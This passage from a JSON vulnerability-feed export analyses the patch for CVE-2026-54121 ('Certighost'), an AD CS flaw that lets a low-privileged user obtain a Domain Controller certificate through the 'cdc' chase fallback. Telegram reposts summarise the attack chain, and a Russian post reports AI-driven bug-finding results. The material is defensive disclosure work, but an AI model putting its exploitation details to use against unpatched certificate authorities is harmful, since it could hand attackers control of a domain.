validates the supplied `cdc` hostname against the real directory |\n| Principal lookup | The remote response was treated as authoritative | The target must resolve to a legitimate Domain Controller computer object |\n| Certificate identity data | Returned SID and hostname could be attacker-controlled | Resolution proceeds only after target validation and a follow-on SID comparison |\n| Certificate request result | A forged chase response could lead to issuance | A failed validation or SID comparison takes an error path |\n\nThe fix addresses the trust boundary that made Certighost possible: a chase endpoint is no longer accepted merely because it responds as a domain principal. The July binary contains a gate around the new validation, so the protection applies when that gate and its validation path are active.\n\nThe diagram below summarizes the July update path. It shows which checks must pass before the CA continues the chase, and which checks stop the request before that point.\n\n\n\n\nJuly update flow: the CA validates the chase target against AD before allowing the referral chase to continue.\n\nRead the diagram from top to bottom: the request enters the validation path, each check answers one yes/no question, and the request must pass every check before the chase continues. A failed check stops the request before that point. The specific conditions behind each check - length and character checks, the Domain Controller computer-object requirement, and the resolved-SID comparison - are described in the paragraph below.\n\nThe validation function rejects overlong and IP-literal targets, blocks the filtered-character set before constructing the LDAP query, and requires a unique computer object whose `userAccountControl` includes `SERVER_TRUST_ACCOUNT` (`8192`). If the first directory search has no match, the code retries with an extracted base DN. The loader only reaches the referral continuation after a successful validation return; it also contains a later resolved-SID comparison. These control-flow observations were checked against the hash-matched July DLL.\n\n\nDetailed patched flow:\n\n```text\n1. User submits cert enrollment request with cdc=\"attacker.example.com\"\n2. _LoadPrincipalObject() calls _GetDSObject() -> fails (referral needed)\n3. polGetRequestAttribute(\"cdc\", &bstrString) -> reads attacker's hostname\n4. NEW: Feature_3185813818 check (servicing flag)\n   - DISABLED -> old behavior (backward compat)\n   - ENABLED -> _ValidateChaseTargetIsDC(bstrString)\n      - Reject if empty\n      - Reject if > 260 chars\n      - Reject if IPv4 address (RtlIpv4StringToAddressW)\n      - Reject if IPv6 address (RtlIpv6StringToAddressW)\n      - Reject if contains LDAP injection chars: ( ) * [ \\ ]\n      - LDAP search: (&(objectCategory=computer)(dNSHostName=)\n                       (userAccountControl:1.2.840.113556.1.4.803:=8192))\n         - 8192 = SERVER_TRUST_ACCOUNT = must be a real DC\n         - If 0 results -> try with extracted base DN (_ExtractBaseDNForDCSearch)\n         - If still 0 -> REJECT\n5. Only if validation passes -> _GetDSObject(a2, 1, bstrString) -> connect to verified DC\n6. NEW: _GetObjectSID() -> verify resolved object's SID matches requester's SID\n   - If SID mismatch -> REJECT (prevents object substitution)\n```\n\n## Code analysis\n\nThe proof-of-concept shows the impact, but the code path explains the root cause. The relevant logic sits in `certpdef.dll`, the AD CS Certificate Policy Enterprise module loaded by `certsrv.exe`. The vulnerable behavior is in the request-principal loading path, where request-supplied attributes are used while resolving the requester identity.\n\nWe compare the June and July builds because June is the vulnerable baseline and July is the Microsoft patched build. That makes the July-only functions useful markers for the fix.\n\nThe functions that matter for the request path are:\n\n| Build | Function | Why it matters |\n|---|---|---|\n| June / vulnerable | `CRequestInstance::_LoadPrincipalObject` | Vulnerable integration point; reads the requester-controlled chase target. |\n| June / vulnerable | `CRequestInstance::_GetDSObject` | Directory lookup/chase sink reached with the untrusted `cdc` host. |\n| June / vulnerable | `CRequestInstance::_GetObjectSID` | Original SID retrieval path before the July identity-verification changes. |\n| July / patched | `CRequestInstance::_ExtractBaseDNForDCSearch` | Helper used by the DC verification LDAP search. |\n| July / patched | `CRequestInstance::_ValidateChaseTargetIsDC` | Validates that `cdc` resolves to a real Domain Controller. |\n| July / patched | `CRequestInstance::_LoadPrincipalObject` | Patched integration point; calls validation before the chase. |\n| July / patched | `CRequestInstance::_GetDSObject` | Same logical sink, now reached only after validation when the protected path is active. |\n| July / patched | `CRequestInstance::_GetObjectSID` | Updated identity/SID verification path after object resolution. |\n| July / patched | `Feature_3185813818` | Servicing feature gate around the updated behavior. |\n\nThe July-only pieces to look for are `CRequestInstance::_ValidateChaseTargetIsDC`, `CRequestInstance::_ExtractBaseDNForDCSearch`, and the `Feature_3185813818` gate.\n\n### June vulnerable build flow\n\nIn the June vulnerable build, `CRequestInstance::_LoadPrincipalObject` reads the `cdc` request attribute and passes it directly into `_GetDSObject` with chase enabled.\n\n```c\n// decompiled shape from CRequestInstance::_LoadPrincipalObject\npolGetRequestAttribute(policy, L\"cdc\", &bstrString);\n\nCRequestInstance::_GetDSObject(this, policy, 1, bstrString);\n//                                           ^ chase enabled\n//                                              ^ requester-controlled host\n```\n\nThe request-to-directory path is:\n\n```text\ncertificate request attribute -> cdc BSTR -> _GetDSObject(..., chase = 1, cdc)\n```\n\nIn other words, requester-controlled routing data reached a directory-authority decision before the CA had checked that the target was a Domain Controller.\n\n### July patched build flow\n\nThe July patched build wraps the same chase with a feature-gated validation call and then performs an additional SID verification path.\n\n```c\n// decompiled shape from CRequestInstance::_LoadPrincipalObject\npolGetRequestAttribute(policy, L\"cdc\", &bstrString);\n\nif (Feature_3185813818::IsEnabled()) {\n    CRequestInstance::_ValidateChaseTargetIsDC(this, bstrString);\n\n    CRequestInstance::_GetDSObject(this, policy, 1, bstrString);\n\n    CRequestInstance::_GetObjectSID(this, &resolved_sid, mode);\n}\n```\n\nThere is still an legacy behavior branch visible in the patched control flow:\n\n```c\nCRequestInstance::_GetDSObject(this, policy, 1, bstrString);\n```\n\nThat branch is reached when the servicing feature gate is not enabled. For lab validation, the feature state matters because the protected path is conditional.\n\n## Code analysis: `_ValidateChaseTargetIsDC`\n\n`CRequestInstance::_ValidateChaseTargetIsDC` is the main new guard. It takes the requester-supplied `cdc` value and checks that it is a Domain Controller hostname before `_GetDSObject` follows the chase.\n\nThe validation has two layers.\n\nFirst, it rejects values that are not safe DC hostnames:\n\n```c\n// 1. Strip leading backslashes, then reject empty input\nwhile (*target == L'\\\\')\n    target++;\nif (*target == L'\\0')\n    reject;\n\n// 2. Reject oversized hostnames\nif (wcslen(target) > 0x104)\n    reject;\n\n// 3. Reject IPv4 and IPv6 literals\nif (RtlIpv4StringToAddressW(target, TRUE, &end, &ipv4) == STATUS_SUCCESS && *end == 0)\n    reject;\n\nif (RtlIpv6StringToAddressW(target, &end, &ipv6) == STATUS_SUCCESS && *end == 0)\n    reject;\n\n// 4. Reject LDAP filter metacharacters\nfor (p = target; *p; p++) {\n    if ((*p - 0x28) <= 2 || (*p - 0x5b) <= 2)\n        reject;\n}\n```\n\nThe IP checks block raw-address chase targets such as `192.0.2.10` or `::1`. The metacharacter check keeps the hostname inside the LDAP filter slot.\n\nAfter the string checks, the function asks Active Directory whether the target is a DC:\n\n```text\n(&(objectCategory=computer)(dNSHostName=%s)(userAccountControl:1.2.840.113556.1.4.803:=8192))\n```\n\n`8192` is `SERVER_TRUST_ACCOUNT`, the `userAccountControl` bit used by Domain Controller computer accounts. The updated code searches for exactly one computer object with that bit set and a `dNSHostName` matching the supplied `cdc` value.\n\nThe search path is roughly:\n\n```c\nldap_search_ext_sW(ldap, NULL, LDAP_SCOPE_SUBTREE,\n                   filter, NULL, TRUE, NULL, NULL,\n                   &timeout, 1, &result);\n\ncount = ldap_count_entries(ldap, result);\n\nif (count == 0) {\n    base_dn = CRequestInstance::_ExtractBaseDNForDCSearch(this);\n    ldap_search_ext_sW(ldap, base_dn, LDAP_SCOPE_SUBTREE,\n                       filter, NULL, TRUE, NULL, NULL,\n                       &timeout, 1, &result);\n    count = ldap_count_entries(ldap, result);\n}\n\nif (count != 1)\n    reject;\n```\n\nThe missing check was simple but critical: the chase target must be an AD-registered Domain Controller, not just a host string from the certificate request.\n\n## Why the update fixes the bug\n\nBefore the update, the vulnerable chain was:\n\n```text\nattacker request -> cdc=\"attacker host\" -> CA LDAP chase -> attacker response -> issued identity\n```\n\nAfter the update, the intended chain is:\n\n```text\nattacker request -> cdc=\"some host\"\n        |\n        v\nvalidate hostname shape\n        |\n        v\nquery AD for dNSHostName= AND SERVER_TRUST_ACCOUNT\n        |\n        v\nrequire exactly one real DC object\n        |\n        v\nonly then call _GetDSObject(..., chase = 1, cdc)\n        |\n        v\nverify resolved SID / identity\n```\n\nThe update changes two things:\n\n1. **Target authenticity:** the chase target must be an AD-registered Domain Controller, not an arbitrary requester-controlled host.\n2. **Object authenticity:** the object resolved through the chase must match the expected identity, preventing substitution even if the lookup path is unusual.\n\n## Functions of interest\n\nFor security researchers tracing the request path, start with these functions:\n\n```text\nJune vulnerable build\n  CRequestInstance::_LoadPrincipalObject\n  CRequestInstance::_GetDSObject\n  CRequestInstance::_GetObjectSID\n\nJuly patched build\n  Feature_3185813818\n  CRequestInstance::_ExtractBaseDNForDCSearch\n  CRequestInstance::_ValidateChaseTargetIsDC\n  CRequestInstance::_LoadPrincipalObject\n  CRequestInstance::_GetDSObject\n  CRequestInstance::_GetObjectSID\n```\n\nGood code references for the writeup are:\n\n1. June `_LoadPrincipalObject` showing `cdc` flowing into `_GetDSObject`.\n2. July `_LoadPrincipalObject` showing the call to `_ValidateChaseTargetIsDC` before `_GetDSObject`.\n3. July `_ValidateChaseTargetIsDC` showing the IP rejection and LDAP filter construction.\n4. July `_ValidateChaseTargetIsDC` showing the `userAccountControl:1.2.840.113556.1.4.803:=8192` DC query.\n5. July `_GetObjectSID` or its caller site showing the added SID verification path.\n\n## Hot fix without the update: disable the chase fallback\n\nIf the July update cannot be installed immediately, the vulnerable code path can be switched off completely with a policy flag, because the `cdc` chase is an optional fallback feature, not code that runs on every request:\n\n```powershell\ncertutil -setreg policy\\EditFlags -EDITF_ENABLECHASECLIENTDC\nRestart-Service CertSvc -Force\n```\n\nThis is a mitigation, not a patch. If `EDITF_ENABLECHASECLIENTDC` is re-enabled on an unpatched CA by an administrator, image, or group policy, the vulnerability is exploitable again.\n\nNote: *This hot fix was validated only in a controlled lab environment, not on a production CA. Before applying it in production, test it on a staging CA that mirrors your environment and confirm that no legitimate enrollment relies on the chase fallback those requests will fail once the flag is cleared. The July update remains the recommended remediation.*\n\n## Timeline\n\n- **May 14, 2026:** Vulnerability reported to the Microsoft Security Response Center\n- **May 14, 2026:** Case assigned\n- **May 22, 2026:** Case investigated and confirmed\n- **July 14, 2026:** Patch released by Microsoft as CVE-2026-54121\n- **July 24, 2026:** Public disclosure\n\n## References\n\n- [certighost.py PoC script](https://github.com/aniqfakhrul/CVE-2026-54121)\n- [Certipy AD CS toolkit](https://github.com/ly4k/Certipy)\n- [Microsoft Security Update Guide: CVE-2026-54121](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54121)\n- [MS-WCCE: Windows Client Certificate Enrollment Protocol](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-wcce/)\n\n## Acknowledgments\n\nThe authors would like to thank the Microsoft Security Response Center for the acknowledgement.\n", "creation_timestamp": "2026-09-02T04:19:48.994946Z"}, {"uuid": "7318e950-b1c3-4cea-b14b-ec56203a7f6d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "seen", "source": "https://t.me/HackingTeamGrupoOfficial/48310", "content": "\ud83d\udd12 Certighost (CVE-2026-54121) \u2014 Suplantaci\u00f3n de un controlador de dominio AD CS\n\nUn usuario de dominio con privilegios limitados puede suplantar a un controlador de dominio a trav\u00e9s de una ruta de retorno en el proceso de registro de AD CS. Al proporcionar los atributos de solicitud cdc (Controlador de dominio del cliente) y rmd (Dominio remoto), un atacante obliga a la Autoridad de Certificaci\u00f3n (CA) empresarial a consultar un host controlado por el atacante a trav\u00e9s de SMB y LDAP.\n\nLa CA, entonces, conf\u00eda ciegamente en los objetos de directorio devueltos (objectSid + dNSHostName de un controlador de dominio real) y emite un certificado que contiene un mapeo de identidad robusto para el controlador de dominio. Esto permite una autenticaci\u00f3n PKINIT exitosa como el controlador de dominio.\n\n\ud83d\udd17 Fuente:\nhttps://github.com/aniqfakhrul/CVE-2026-54121\n\n#ad #adcs #pkinit #machineaccountquota", "creation_timestamp": "2026-09-02T06:00:05.817574Z"}, {"uuid": "46cc377c-8576-44e4-994d-dd222ac62d05", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "seen", "source": "https://t.me/HackingTeamGrupoOfficial/48185", "content": "\ud83d\udd12 Certighost (CVE-2026-54121) \u2014 AD CS Domain Controller Impersonation\n\nLow-privileged domain user can impersonate a Domain Controller via an AD CS enrollment chase fallback. By supplying cdc (Client DC) and rmd (Remote Domain) request attributes, an attacker forces the Enterprise CA to query an attacker-controlled host over SMB and LDAP.\n\nThe CA then blindly trusts the returned directory objects (objectSid + dNSHostName of a real DC) and issues a certificate containing strong identity mapping for the Domain Controller. This allows successful PKINIT authentication as the DC.\n\n\ud83d\udd17 Research:\nhttps://gist.github.com/H0j3n/a5ef2609b5f2944ac2390a191a534c26\n\n\ud83d\udd17 Source:\nhttps://github.com/aniqfakhrul/CVE-2026-54121\n\n#ad #adcs #pkinit #machineaccountquota", "creation_timestamp": "2026-09-02T06:00:06.099981Z"}, {"uuid": "f3ab8f25-889f-4d99-96a7-619f732c4a86", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5466", "type": "seen", "source": "https://t.me/Russian_OSINT/7197", "content": "\ud83c\ude01 \u041f\u0435\u0440\u0432\u044b\u0435 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u044b \u043f\u0440\u043e\u0435\u043a\u0442 Glasswing\n\n\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Anthropic \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b\u0430 \u0441\u0432\u0435\u0436\u0438\u0435 \u0446\u0438\u0444\u0440\u044b \u043f\u043e \u0438\u043d\u0438\u0446\u0438\u0430\u0442\u0438\u0432\u0435 Project Glasswing. \u0412 \u0440\u0430\u043c\u043a\u0430\u0445 \u044d\u0442\u043e\u0433\u043e \u043f\u0440\u043e\u0435\u043a\u0442\u0430 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u0438 \u043e\u043a\u043e\u043b\u043e 50 \u0434\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0445 \u043f\u0430\u0440\u0442\u043d\u0451\u0440\u043e\u0432 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438 \u0437\u0430\u043a\u0440\u044b\u0442\u0443\u044e \u0418\u0418-\u043c\u043e\u0434\u0435\u043b\u044c \ud83e\udd16Mythos Preview \u0434\u043b\u044f \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \ud83d\ude06\u0441\u0438\u0441\u0442\u0435\u043c\u043d\u043e \u0432\u0430\u0436\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0433\u043e \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044f. \u0417\u0430 \u043f\u0435\u0440\u0432\u044b\u0439 \u043c\u0435\u0441\u044f\u0446 \u0440\u0430\u0431\u043e\u0442\u044b \u043d\u0435\u0439\u0440\u043e\u0441\u0435\u0442\u044c \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0430 \u0431\u043e\u043b\u0435\u0435 \u2194\ufe0f10 000 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432\u044b\u0441\u043e\u043a\u043e\u0439 \u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438.\n\n\ud83d\udda5 \u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Cloudflare \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0430 2 000 \u043e\u0448\u0438\u0431\u043e\u043a \u0432 \u0441\u0432\u043e\u0438\u0445 \u043a\u043b\u044e\u0447\u0435\u0432\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445. \u0418\u0437 \u043d\u0438\u0445 400 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043e\u0442\u043d\u043e\u0441\u044f\u0442\u0441\u044f \u043a \u0432\u044b\u0441\u043e\u043a\u043e\u0439 \u0438\u043b\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438. \u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u043a\u043e\u043c\u0430\u043d\u0434\u0430 \u0441\u0447\u0438\u0442\u0430\u0435\u0442 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u043b\u043e\u0436\u043d\u044b\u0445 \u0441\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u043d\u0438\u0439 \u0431\u043e\u043b\u0435\u0435 \u043d\u0438\u0437\u043a\u0438\u043c, \u0447\u0435\u043c \u0443 \u043b\u044e\u0434\u0435\u0439-\u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0449\u0438\u043a\u043e\u0432.\n\n\ud83e\uddca \u0420\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 Mozilla \u043d\u0430\u0448\u043b\u0438 \u0438 \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0438 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0418\u0418-\u043c\u043e\u0434\u0435\u043b\u0438 271 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0435 Firefox 150.\n\n\ud83c\uddec\ud83c\udde7\u0418\u043d\u0441\u0442\u0438\u0442\u0443\u0442 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0418\u0418 \u0412\u0435\u043b\u0438\u043a\u043e\u0431\u0440\u0438\u0442\u0430\u043d\u0438\u0438 \u0441\u043e\u043e\u0431\u0449\u0438\u043b, \u0447\u0442\u043e Mythos \u0441\u0442\u0430\u043b\u0430 \u043f\u0435\u0440\u0432\u043e\u0439 \u0418\u0418-\u043c\u043e\u0434\u0435\u043b\u044c\u044e, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u0441\u043f\u0440\u0430\u0432\u0438\u043b\u0430\u0441\u044c \u0441 \u0437\u0430\u0434\u0430\u0447\u0430\u043c\u0438 \u043d\u0430 \u043e\u0431\u043e\u0438\u0445 \u0438\u0445 \u043a\u0438\u0431\u0435\u0440\u043f\u043e\u043b\u0438\u0433\u043e\u043d\u0430\u0445, \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0449\u0438\u0445 \u0441\u043e\u0431\u043e\u0439 \u0441\u0438\u043c\u0443\u043b\u044f\u0446\u0438\u0438 \u043c\u043d\u043e\u0433\u043e\u044d\u0442\u0430\u043f\u043d\u044b\u0445 \u043a\u0438\u0431\u0435\u0440\u0430\u0442\u0430\u043a.\n\n\u041f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u0442\u0435\u043b\u0438 Anthropic \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u044e\u0442, \u0447\u0442\u043e \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u0435 \u043f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0438\u0435 \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0438 \u0438\u0437\u043c\u0435\u043d\u0438\u043b\u043e \u0445\u0430\u0440\u0430\u043a\u0442\u0435\u0440 \u0432\u044b\u0437\u043e\u0432\u043e\u0432 \u0432 \u0441\u0444\u0435\u0440\u0435 \u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u0433\u043b\u0430\u0432\u043d\u044b\u043c \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435\u043c \u0442\u0435\u043f\u0435\u0440\u044c \u0441\u0442\u0430\u043b\u0430 \u043d\u0435 \u0441\u043a\u043e\u0440\u043e\u0441\u0442\u044c \u043f\u043e\u0438\u0441\u043a\u0430 \u043e\u0448\u0438\u0431\u043e\u043a, \u0430 \u0444\u0438\u0437\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0441\u043f\u043e\u0441\u043e\u0431\u043d\u043e\u0441\u0442\u044c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u043e\u0432 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0442\u044c \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u0438 \u0432\u044b\u043f\u0443\u0441\u043a\u0430\u0442\u044c \u043f\u0430\u0442\u0447\u0438. \u041d\u043e\u0432\u044b\u0435 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u0442\u0430\u043a\u0436\u0435 \u0434\u043e\u043a\u0430\u0437\u0430\u043b\u0438 \u0441\u0432\u043e\u044e \u044d\u0444\u0444\u0435\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c \u043d\u0430 \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0435, \u043a\u043e\u0433\u0434\u0430 \u0432 \u043e\u0434\u043d\u043e\u043c \u0438\u0437 \u0431\u0430\u043d\u043a\u043e\u0432-\u043f\u0430\u0440\u0442\u043d\u0435\u0440\u043e\u0432 \u0418\u0418-\u043c\u043e\u0434\u0435\u043b\u044c \u043f\u043e\u043c\u043e\u0433\u043b\u0430 \u043f\u0440\u0435\u0434\u043e\u0442\u0432\u0440\u0430\u0442\u0438\u0442\u044c \u043c\u043e\u0448\u0435\u043d\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u043f\u0435\u0440\u0435\u0432\u043e\u0434 \u043d\u0430 \u0441\u0443\u043c\u043c\u0443 $1,5 \u043c\u043b\u043d.\n\n\u041d\u0438\u0436\u0435 \u043f\u0440\u0438\u0432\u0435\u0434\u0435\u043d\u044b \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438:\n\n\ud83d\udd0d \u041f\u043e\u0438\u0441\u043a \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439\n\u2022 \u0418\u0418-\u043c\u043e\u0434\u0435\u043b\u044c \u0432\u044b\u044f\u0432\u0438\u043b\u0430 23 019 \"\u043d\u0430\u0445\u043e\u0434\u043e\u043a\". \u0424\u0438\u043a\u0441\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u043b\u044e\u0431\u044b\u0435 \u043f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0443\u0447\u0430\u0441\u0442\u043a\u0438 \u043a\u043e\u0434\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043c\u043e\u0433\u0443\u0442 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u044c \u043e\u0448\u0438\u0431\u043a\u0438.\n\u2022 \u0412\u043d\u0435\u0448\u043d\u0438\u0435 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u043f\u043e \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0432\u0440\u0443\u0447\u043d\u0443\u044e \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u043b\u0438 1 900 \u043d\u0430\u0445\u043e\u0434\u043e\u043a.\n\u2022 \u0421\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u044b \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u043b\u0438 \u043f\u043e\u0434\u043b\u0438\u043d\u043d\u043e\u0441\u0442\u044c 1 726 \u0431\u0430\u0433\u043e\u0432, \u043f\u0440\u0438 \u044d\u0442\u043e\u043c \u0434\u043e\u043b\u044f \u0442\u043e\u0447\u043d\u044b\u0445 \u0441\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u043d\u0438\u0439 \u0441\u043e\u0441\u0442\u0430\u0432\u0438\u043b\u0430 90,8%.\n\u2022 \u041e\u0441\u043e\u0431\u043e\u0433\u043e \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u044f \u0437\u0430\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u044e\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2026-27654, CVE-2026-5199 \u0438 CVE-2026-5466.\n\n\ud83d\udce8 \u0420\u0430\u0431\u043e\u0442\u0430 \u0441 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430\u043c\u0438 \n\u2022 \u0410\u0432\u0442\u043e\u0440\u0430\u043c \u043f\u0440\u043e\u0435\u043a\u0442\u043e\u0432 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u043e \u043e 1 596 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u0445.\n\u2022 \u041f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430 \u043e\u0445\u0432\u0430\u0442\u0438\u043b\u0430 281 \u043f\u0440\u043e\u0435\u043a\u0442 \u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u043c \u043a\u043e\u0434\u043e\u043c. \n\u2022 \u0420\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u041f\u041e \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u043b\u0438 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u0435 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u043e 1 451 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438.\n\n\ud83d\udee1 \u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u044b \u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \n\u2022 \u0420\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0438 97 \u0434\u0435\u0444\u0435\u043a\u0442\u043e\u0432 \u0438 \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0438 \u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f.\n\u2022 \u0414\u043b\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u043e 88 \u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u0431\u044e\u043b\u043b\u0435\u0442\u0435\u043d\u0435\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 CVE \u0438 GHSA.\n\n\ud83d\udc46\u0420\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0432\u0430\u044e\u0442 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u044b\u0439 \u0440\u0435\u043b\u0438\u0437 \ud83e\udd16Mythos \u0434\u043e \u0442\u0435\u0445 \u043f\u043e\u0440, \u043f\u043e\u043a\u0430 \u043d\u0435 \u0431\u0443\u0434\u0443\u0442 \u0441\u043e\u0437\u0434\u0430\u043d\u044b \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u044b\u0435 \u0443\u0441\u043b\u043e\u0432\u0438\u044f \u0434\u043b\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0433\u043e \u0440\u0430\u0437\u0432\u0451\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u044f.\n\n--------------------------\n\n\ud83d\udcd6\u041e\u0442\u0434\u0435\u043b\u044c\u043d\u043e \u0441\u0442\u043e\u0438\u0442 \u043e\u0442\u043c\u0435\u0442\u0438\u0442\u044c \u0442\u043e\u0442 \u0444\u0430\u043a\u0442, \u0447\u0442\u043e \u043f\u043e \u0441\u043b\u043e\u0432\u0430\u043c \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0445 \u0438 \u0431\u044b\u0432\u0448\u0438\u0445 \u0430\u043c\u0435\u0440\u0438\u043a\u0430\u043d\u0441\u043a\u0438\u0445 \u0447\u0438\u043d\u043e\u0432\u043d\u0438\u043a\u043e\u0432, 